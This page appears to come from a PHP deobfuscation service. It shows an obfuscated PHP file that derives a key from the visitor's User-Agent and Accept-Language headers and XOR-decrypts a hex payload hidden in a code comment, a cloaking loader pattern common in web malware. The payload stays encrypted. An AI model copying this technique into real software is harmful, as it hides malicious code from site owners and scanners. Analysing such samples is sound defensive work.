Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $klmwyyv = $_SERVER["\X48\X54\X54\X50_USE\X52\X5FA\X47ENT"]; $klmwyyv .= $_SERVER[..

Decoded Output download

<?php 
$klmwyyv = $_SERVER["\X48\X54\X54\X50_USE\X52\X5FA\X47ENT"]; 
$klmwyyv .= $_SERVER["HTTP\X5FA\X43\X43E\X50\X54_LA\X4EGUAGE"]; 
$cttmtpt = md5($klmwyyv); 
/* 
386f765541435B 16674051460A 4a445C5 C041100190D6 
93D750A5B5C6d4 550401D4 25259404158054 16d514417574 246154f1917001 14d0C3869755C 5C5f6a4 750111E1757584 71454534d69164 c514746 16496f55 441658 471012191211051 31C5E3B 3A3 E3B5D02105B47 
45004c18 116d3376636 46d4347 40171 2681B1F4e393 F6c3B3A 3A1553014 c6d474217180D15 163C69 7F63623 
F10560C5 B4157584113685E 3B3A3A15 46171 80F14114604 54410C4b171A19 0A4b53415 D16465B110E 393F683 C395a 571C 144a575369085 944565a4b1 D42431A40 
5050176a464644 1910580442535B 181D1F35383D 3F415C514 1573C5842421659 175f105a5B6d525 0575a015318544b 5D0A5 E5E 55420010145853 175a586b073 91E19521C0E3 F3C3C3 D530 A445552525C4c1C 5655420 06751474 043584310120 F524c5E0B11444 51C4f386f3F393A 58524c 5E5B58533A48 45416d00565E445 30A43464b115E57 
4f191411 13451 91A3C3E6d 
313B3D53065 05f1516085C 491E164 317451 641155D5D 0956474a081 7083C3E6d314f3 93C6c453D3F3 B6e333 9554e0D430E6e 3F48575a46515C 031E594042 51101 0166b 
662A6b6 46e150641176d 1F4 d4c38693C38 383F 11535011694 347431459181 66b662A6b64 6e1500565E4 4530A 43123E0E38 
383F114646 450B 10141208 004c0C1C1 84f11 0C1A5617 0713435 f430C 3869383F3 B5f531C4 51753576c 
5C55105B 5a1C12174b1C 115 5064d6f4342 161B110E54 41515E1C1 D4e683C393A15 4710 4a1209 160242595B5 40F584455 
1E40 5a541 7565D6907681 D0E683C393A54 4205541A10451 14a1 90E3 F693 04d3 D3C6 d3A 3F6a 504d5B420E 393F6c3B3A4e 5458175 D5B521E0C4b 4350464b1D6f607 937636e4446505 7116 81D1C1 E3B3A3A3C 
3E6d 1C5 45D5a 0B5 95D5012 5E19146f6 62B646138125 35C57585112380 D3D39385D0 
21054 5D5a0067554d5B1 04d431812 025E 590D5458571F1C 4f386f3F 393E3B3D6d5D51 5C59455E 5959573C5E554 469 0758 5B17505B46451D1 0530C5a5E525C 514d 033F3E3F6c353A3 C4f 6e33393D3C6 d524d0A4 10E3F 3C3C393F1 8535C40 544f6932 16445711501008 123C6674796 43B680 E43 383F 5B501D5D461653 441B156b22717E 71653E1A4545 5E0C5854555202 5E5 90617681B1F4e 393F6c 12445 24353014 c6d44571 1500D5753105C5 E515B01 1F113C737C7E7 3666 f1710465C5C505 0015C545D5a0 01A6d6e100D585 D551439 1E0E6e3F3C5B5 01D595a 13536f 464158 0B59565152 3A5E5959574b1D6 f767 F2872663817 40425a5a55510 052565a5D51 466569164208 486f5 B530E5 C126d1A4043 54115250466945 55410D 1F194 83C3E 6d3157575E0 A181209540C5744 10550B5B5a 11086 910514751500B6 a120D575 D085D 124146095 7515 15707051F56590A 
430B5 f574712190B 160E683C394e5 458175D4939 3C6c3155565 a0C19120C500B59 4143565a5E5 9470 96947 445 5576 d165a 4d425 859045C1053530A 550C1F 500B59415D0957 4016 
1A0A175E3B3A3A 4c396e4 53F3E53065 
05f1510 5f5f5f42 5B44525B00414c4 25308 6817 
08435C4 758 44054a4 61B5 00A4a5D185 
6024d516c 14445a 5017 5D5a560B6 916652A 6564 6f1 30A58515C 4443 11185E 545f06046c12431 45B5a025150 56505 C5850391 4104 7484401 056e16500C 5455691 04c070C595814 424143414c42 53086817164352 5E584038 1A124257094d 55086e416c405C 590553 1525 5C59 576a171B0B59 19565C43595a0 41D4 0525B041F41 
405D1B0B3D3C0 242 5B00415C5D5 8155350111E 14464358481816 505f17 114b38 386a1D53580 B074 2470F6a5C 5C5f411C1C5E 3B3A3A5241165 46d4753115740 
411A 
475a5 81C162762672F 7a6 56669606679 491614 4643584d033 F3E3 F064d4 2596d105C 445f46101F11005 D191275606679 2A6 6646c63713 06d607a6237797E 6674266 b1C10074d0C 38693 C5647445 96b460 0425f434 51C405B5a 1875306a7C7a6 237666479 7B21786037 1904021F0E3 93F6c1254524555 44051 2574317 546f50 4a065a18145 50C1E0E 6e3F3C5B501D15 1101574452184 f693 23B3D1201594454 125E1 9705 65f08526a0450 416d55 5a5a4 100 58444019 10114a5E1D0D 683239483F693 056595a0168 4516416a51595B 40500B42431B155 00D4a 1E14120159445 41B58 
343A4d3B6e5E534 31D116d7 170606e42 
524 7146c1D444 33F3E3 F415C47150F 431D6f7773306c1 20742126f0D3 83E3 C415247130C1 40659415100 
5167 545051 0C5D5518451045 
6a115a41030 51D10 51121F19 
083C3E 6d5154141 E154a5552 6d0E 5844535E4c101A 1647590F 
1E1B1E0A4c10545 a43094c16181D1 
94214101156141 510145f0 A515a4a1C 15493B 3F3D 3C4 143425 f11094 41C5B5a500A 63016 8096 e333939 12005E4 7430815165f5 
B525a3E 046d083C3E6 d4512515a 165D104e3F693 
03940440 1506a0 E5441515E1D 131A10445C0E191 A4e111D13 1A451C54421E 431D595 E500B1E0E6e3 F3C3 B124 04659450B 10175 85a02 57690 56b5E353A3 C3B475 D594216 591 712440E38383F48 393F 
6c46425 6566b095946575E 4d1F1F1D1C4910 6c1F1E4 
a1D1C3F1B1D1 C1C0A1D114a111 C13154116541E14 120B11 0B3 8386a50561 01E40596e506815 0F0B1513411D 4217 1A114f6 9323B3D121F180D 
1515 1351401 70D693D3C6a 115B535B5 014 0845125 E680 
3695f35383D4b 
455D5C46574342 3D3A3F6d134f43 081516586 e07685E3B3 A3A38 100A595f5116 581 81241570 E495C5 1420 1150E6e3 F3C4f3B3F3 D5C03 161817555D161 8130916421F1 915496e 3339 391 2005E474 30815 166 
9667167337362 6813702B 7B677 9732B6c 6f677 D2C6d126d164a17 124c12151C 1611505C17161 E13 161B43181C14120 B595D50124d191 71E1144191547 4f0E3F3C3C 49150 05a4 3561 14f69323B3D120 15142150F431D 6f63733661 70316 e1776 797661 782078646c637B2 B6c106 9164b18171A1543 17101 458055a5 0431B15151812 141B45124a 
083C3E6d453F3 E3F025D441D161 64b 5C1 C164 053 5C1 11C 0E3 F3C 3C5D5 3451E565a5D513B 5D4a 
5D45114 b1811560A4b 1919161F3A3F6 
a3C50515E5a14 17594 2420D0D4000060 E52590B4c10 565D0F56420D 6a4 6504706505B6e 140B505a1258 5C5C5050444b4 
75755004b43 091 D05565E4408 581841 070B091D424 70A175E3B3A3A4c 14015 441 511 61E3 53A3C3B065 a585f1 6460B41110B09 46520B0853 0A584 413525B08574 
009 6a474a5 551 6e4107545f41 0A5B5a025 115 54575C58 094a505f5D450A 58174650085917 44470C410 23D3A3F1 93A3F1E155 05E45505D53451 E146c617B 376c6 91351004c6f4040 
0F1E6d19161 F3A3F6a1140405a 1509154 169607 C62603F1F 55514 
23A4 d4259153E023 D3A3F144550046a 585342565 C1D42191 81D1B1D38 171A1 A1C4c641E 1D1C49 06191419431 B154740475E1A1 5105B4c0 D3D39385D0 218 1A1058 3E0B6d150F5E19 17444e10 101C434e38383F 
3C1 04f450B1 014415C141F093 93C6c31145B5 30E5C1 00D1640596e516 80E 3F3C3C4915005 a4356114f6932 3B3D121F 180D15160D62 036d0D693D 3C6a1 15B535B5014084 5144 4565C4408594 651145E353 A3C4f6 e33 3914520D45 155E15116d667 a67613E1154 4350400C1F6f 14184 51A1F17124d1914 5E570952154d1 5121C11151A1 5414c0 B3E3B3D035D 461C12104a5C 1912475 D59421F5 f3A3 F6a5C53121 E535D590 069554b5847104 b1A10520C4a191C 1218343A393F01 
545D0C15170E424 70A 0911 520E0F575B0A4 c12575909 5742086e41 5E425 5530A6b1 
75D515a45 58595B540116 43465257014b41 
081903575E41 0C5f1644540858 1841110B170 93B3F3D484 5535C405 4141F35 383D3F0 05B5 85a1241054442 0858435 15D09535D5 84114560 A5a5f410C6846 4a57506a47065 45a 450D5 55f515244 51540A 59091D5 05a5a415B0A 1F475 50A58 1746460 847033D 3F3B1E 343A4d3B6e 52560B5a15 100A414 60B59425 40D0D520B4a5f 145B004c5 85a565E6 51260793 763694115545142 5C5B5B586a126f 
130A584b 4255585B6 d42590843051 F434605 590B5f5C5B4 2434114411C 46550E45511C 4c125a57085D0D 6910 045C4 46f43165B69411 543535a 40510839146c11 0F080D5642414 2454c494557 5E65125 85f0053500D69 1712 585459505 86a12574155 10506e1 61613595C40575E 651214460 5435D3F170B 0E5f5B444011164 44a4151594b475 65B0C4c1043 530F4c550D6a46 
7050 17735C5E5 3691 
60B591 9565C43595a041D 40525B041F 41405 D1B0B3D3C 
193A3F6e3F  
*/ 
function axqcarn($gndzhlu, $klmwyyv){ 
	$cttmtpt=""; 
	$tzumcnw = strlen($gndzhlu); 
	for($zngwueq=0;$zngwueq<$tzumcnw;$zngwueq+=2) 
		$cttmtpt.=urldecode("%".substr($gndzhlu,$zngwueq,2)); 
	 
	$strLen = strlen($cttmtpt); 
	$tzumcnw = strlen($klmwyyv); 
    $arvwjct = ""; 
    for($zngwueq=0; $zngwueq<$strLen; $zngwueq++){ 
		$mfyokyh = $zngwueq % $tzumcnw; 
        $arvwjct .= chr(ord($cttmtpt[$zngwueq])^ord($klmwyyv[$mfyokyh])); 
    } 
	return $arvwjct; 
} 
$gndzhlu = __FILE__ ; 
$tzumcnw = fopen($gndzhlu,"r"); 
$zngwueq = fread($tzumcnw,filesize($gndzhlu)); 
if(preg_match("#/\*(.*?)\*/#si", $zngwueq, $mfyokyh)){ 
	$zngwueq = trim($mfyokyh[1]); 
	$zngwueq = trim($zngwueq); 
	$zngwueq = preg_replace("/\s+/i", "", $zngwueq); 
	echo "Decrypted code: " . axqcarn($zngwueq, $cttmtpt); // Print decrypted code 
} ?>

Did this file decode correctly?

Original Code

<?php
$klmwyyv = $_SERVER["\X48\X54\X54\X50_USE\X52\X5FA\X47ENT"];
$klmwyyv .= $_SERVER["HTTP\X5FA\X43\X43E\X50\X54_LA\X4EGUAGE"];
$cttmtpt = md5($klmwyyv);
/*
386f765541435B 16674051460A 4a445C5 C041100190D6
93D750A5B5C6d4 550401D4 25259404158054 16d514417574 246154f1917001 14d0C3869755C 5C5f6a4 750111E1757584 71454534d69164 c514746 16496f55 441658 471012191211051 31C5E3B 3A3 E3B5D02105B47
45004c18 116d3376636 46d4347 40171 2681B1F4e393 F6c3B3A 3A1553014 c6d474217180D15 163C69 7F63623
F10560C5 B4157584113685E 3B3A3A15 46171 80F14114604 54410C4b171A19 0A4b53415 D16465B110E 393F683 C395a 571C 144a575369085 944565a4b1 D42431A40
5050176a464644 1910580442535B 181D1F35383D 3F415C514 1573C5842421659 175f105a5B6d525 0575a015318544b 5D0A5 E5E 55420010145853 175a586b073 91E19521C0E3 F3C3C3 D530 A445552525C4c1C 5655420 06751474 043584310120 F524c5E0B11444 51C4f386f3F393A 58524c 5E5B58533A48 45416d00565E445 30A43464b115E57
4f191411 13451 91A3C3E6d
313B3D53065 05f1516085C 491E164 317451 641155D5D 0956474a081 7083C3E6d314f3 93C6c453D3F3 B6e333 9554e0D430E6e 3F48575a46515C 031E594042 51101 0166b
662A6b6 46e150641176d 1F4 d4c38693C38 383F 11535011694 347431459181 66b662A6b64 6e1500565E4 4530A 43123E0E38
383F114646 450B 10141208 004c0C1C1 84f11 0C1A5617 0713435 f430C 3869383F3 B5f531C4 51753576c
5C55105B 5a1C12174b1C 115 5064d6f4342 161B110E54 41515E1C1 D4e683C393A15 4710 4a1209 160242595B5 40F584455
1E40 5a541 7565D6907681 D0E683C393A54 4205541A10451 14a1 90E3 F693 04d3 D3C6 d3A 3F6a 504d5B420E 393F6c3B3A4e 5458175 D5B521E0C4b 4350464b1D6f607 937636e4446505 7116 81D1C1 E3B3A3A3C
3E6d 1C5 45D5a 0B5 95D5012 5E19146f6 62B646138125 35C57585112380 D3D39385D0
21054 5D5a0067554d5B1 04d431812 025E 590D5458571F1C 4f386f3F 393E3B3D6d5D51 5C59455E 5959573C5E554 469 0758 5B17505B46451D1 0530C5a5E525C 514d 033F3E3F6c353A3 C4f 6e33393D3C6 d524d0A4 10E3F 3C3C393F1 8535C40 544f6932 16445711501008 123C6674796 43B680 E43 383F 5B501D5D461653 441B156b22717E 71653E1A4545 5E0C5854555202 5E5 90617681B1F4e 393F6c 12445 24353014 c6d44571 1500D5753105C5 E515B01 1F113C737C7E7 3666 f1710465C5C505 0015C545D5a0 01A6d6e100D585 D551439 1E0E6e3F3C5B5 01D595a 13536f 464158 0B59565152 3A5E5959574b1D6 f767 F2872663817 40425a5a55510 052565a5D51 466569164208 486f5 B530E5 C126d1A4043 54115250466945 55410D 1F194 83C3E 6d3157575E0 A181209540C5744 10550B5B5a 11086 910514751500B6 a120D575 D085D 124146095 7515 15707051F56590A
430B5 f574712190B 160E683C394e5 458175D4939 3C6c3155565 a0C19120C500B59 4143565a5E5 9470 96947 445 5576 d165a 4d425 859045C1053530A 550C1F 500B59415D0957 4016
1A0A175E3B3A3A 4c396e4 53F3E53065
05f1510 5f5f5f42 5B44525B00414c4 25308 6817
08435C4 758 44054a4 61B5 00A4a5D185
6024d516c 14445a 5017 5D5a560B6 916652A 6564 6f1 30A58515C 4443 11185E 545f06046c12431 45B5a025150 56505 C5850391 4104 7484401 056e16500C 5455691 04c070C595814 424143414c42 53086817164352 5E584038 1A124257094d 55086e416c405C 590553 1525 5C59 576a171B0B59 19565C43595a0 41D4 0525B041F41
405D1B0B3D3C0 242 5B00415C5D5 8155350111E 14464358481816 505f17 114b38 386a1D53580 B074 2470F6a5C 5C5f411C1C5E 3B3A3A5241165 46d4753115740
411A
475a5 81C162762672F 7a6 56669606679 491614 4643584d033 F3E3 F064d4 2596d105C 445f46101F11005 D191275606679 2A6 6646c63713 06d607a6237797E 6674266 b1C10074d0C 38693 C5647445 96b460 0425f434 51C405B5a 1875306a7C7a6 237666479 7B21786037 1904021F0E3 93F6c1254524555 44051 2574317 546f50 4a065a18145 50C1E0E 6e3F3C5B501D15 1101574452184 f693 23B3D1201594454 125E1 9705 65f08526a0450 416d55 5a5a4 100 58444019 10114a5E1D0D 683239483F693 056595a0168 4516416a51595B 40500B42431B155 00D4a 1E14120159445 41B58
343A4d3B6e5E534 31D116d7 170606e42
524 7146c1D444 33F3E3 F415C47150F 431D6f7773306c1 20742126f0D3 83E3 C415247130C1 40659415100
5167 545051 0C5D5518451045
6a115a41030 51D10 51121F19
083C3E 6d5154141 E154a5552 6d0E 5844535E4c101A 1647590F
1E1B1E0A4c10545 a43094c16181D1
94214101156141 510145f0 A515a4a1C 15493B 3F3D 3C4 143425 f11094 41C5B5a500A 63016 8096 e333939 12005E4 7430815165f5
B525a3E 046d083C3E6 d4512515a 165D104e3F693
03940440 1506a0 E5441515E1D 131A10445C0E191 A4e111D13 1A451C54421E 431D595 E500B1E0E6e3 F3C3 B124 04659450B 10175 85a02 57690 56b5E353A3 C3B475 D594216 591 712440E38383F48 393F
6c46425 6566b095946575E 4d1F1F1D1C4910 6c1F1E4
a1D1C3F1B1D1 C1C0A1D114a111 C13154116541E14 120B11 0B3 8386a50561 01E40596e506815 0F0B1513411D 4217 1A114f6 9323B3D121F180D
1515 1351401 70D693D3C6a 115B535B5 014 0845125 E680
3695f35383D4b
455D5C46574342 3D3A3F6d134f43 081516586 e07685E3B3 A3A38 100A595f5116 581 81241570 E495C5 1420 1150E6e3 F3C4f3B3F3 D5C03 161817555D161 8130916421F1 915496e 3339 391 2005E474 30815 166
9667167337362 6813702B 7B677 9732B6c 6f677 D2C6d126d164a17 124c12151C 1611505C17161 E13 161B43181C14120 B595D50124d191 71E1144191547 4f0E3F3C3C 49150 05a4 3561 14f69323B3D120 15142150F431D 6f63733661 70316 e1776 797661 782078646c637B2 B6c106 9164b18171A1543 17101 458055a5 0431B15151812 141B45124a
083C3E6d453F3 E3F025D441D161 64b 5C1 C164 053 5C1 11C 0E3 F3C 3C5D5 3451E565a5D513B 5D4a
5D45114 b1811560A4b 1919161F3A3F6
a3C50515E5a14 17594 2420D0D4000060 E52590B4c10 565D0F56420D 6a4 6504706505B6e 140B505a1258 5C5C5050444b4
75755004b43 091 D05565E4408 581841 070B091D424 70A175E3B3A3A4c 14015 441 511 61E3 53A3C3B065 a585f1 6460B41110B09 46520B0853 0A584 413525B08574
009 6a474a5 551 6e4107545f41 0A5B5a025 115 54575C58 094a505f5D450A 58174650085917 44470C410 23D3A3F1 93A3F1E155 05E45505D53451 E146c617B 376c6 91351004c6f4040
0F1E6d19161 F3A3F6a1140405a 1509154 169607 C62603F1F 55514
23A4 d4259153E023 D3A3F144550046a 585342565 C1D42191 81D1B1D38 171A1 A1C4c641E 1D1C49 06191419431 B154740475E1A1 5105B4c0 D3D39385D0 218 1A1058 3E0B6d150F5E19 17444e10 101C434e38383F
3C1 04f450B1 014415C141F093 93C6c31145B5 30E5C1 00D1640596e516 80E 3F3C3C4915005 a4356114f6932 3B3D121F 180D15160D62 036d0D693D 3C6a1 15B535B5014084 5144 4565C4408594 651145E353 A3C4f6 e33 3914520D45 155E15116d667 a67613E1154 4350400C1F6f 14184 51A1F17124d1914 5E570952154d1 5121C11151A1 5414c0 B3E3B3D035D 461C12104a5C 1912475 D59421F5 f3A3 F6a5C53121 E535D590 069554b5847104 b1A10520C4a191C 1218343A393F01
545D0C15170E424 70A 0911 520E0F575B0A4 c12575909 5742086e41 5E425 5530A6b1
75D515a45 58595B540116 43465257014b41
081903575E41 0C5f1644540858 1841110B170 93B3F3D484 5535C405 4141F35 383D3F0 05B5 85a1241054442 0858435 15D09535D5 84114560 A5a5f410C6846 4a57506a47065 45a 450D5 55f515244 51540A 59091D5 05a5a415B0A 1F475 50A58 1746460 847033D 3F3B1E 343A4d3B6e 52560B5a15 100A414 60B59425 40D0D520B4a5f 145B004c5 85a565E6 51260793 763694115545142 5C5B5B586a126f
130A584b 4255585B6 d42590843051 F434605 590B5f5C5B4 2434114411C 46550E45511C 4c125a57085D0D 6910 045C4 46f43165B69411 543535a 40510839146c11 0F080D5642414 2454c494557 5E65125 85f0053500D69 1712 585459505 86a12574155 10506e1 61613595C40575E 651214460 5435D3F170B 0E5f5B444011164 44a4151594b475 65B0C4c1043 530F4c550D6a46
7050 17735C5E5 3691
60B591 9565C43595a041D 40525B041F 41405 D1B0B3D3C
193A3F6e3F 
*/
function axqcarn($gndzhlu, $klmwyyv){
	$cttmtpt="";
	$tzumcnw = strlen($gndzhlu);
	for($zngwueq=0;$zngwueq<$tzumcnw;$zngwueq+=2)
		$cttmtpt.=urldecode("%".substr($gndzhlu,$zngwueq,2));
	
	$strLen = strlen($cttmtpt);
	$tzumcnw = strlen($klmwyyv);
    $arvwjct = "";
    for($zngwueq=0; $zngwueq<$strLen; $zngwueq++){
		$mfyokyh = $zngwueq % $tzumcnw;
        $arvwjct .= chr(ord($cttmtpt[$zngwueq])^ord($klmwyyv[$mfyokyh]));
    }
	return $arvwjct;
}
$gndzhlu = __FILE__ ;
$tzumcnw = fopen($gndzhlu,"r");
$zngwueq = fread($tzumcnw,filesize($gndzhlu));
if(preg_match("#/\*(.*?)\*/#si", $zngwueq, $mfyokyh)){
	$zngwueq = trim($mfyokyh[1]);
	$zngwueq = trim($zngwueq);
	$zngwueq = preg_replace("/\s+/i", "", $zngwueq);
	echo "Decrypted code: " . axqcarn($zngwueq, $cttmtpt); // Print decrypted code
}

Function Calls

None

Variables

$klmwyyv None

Stats

MD5 68c859a73db5573de92dfb7630fcdd84
Eval Count 0
Decode Time 271 ms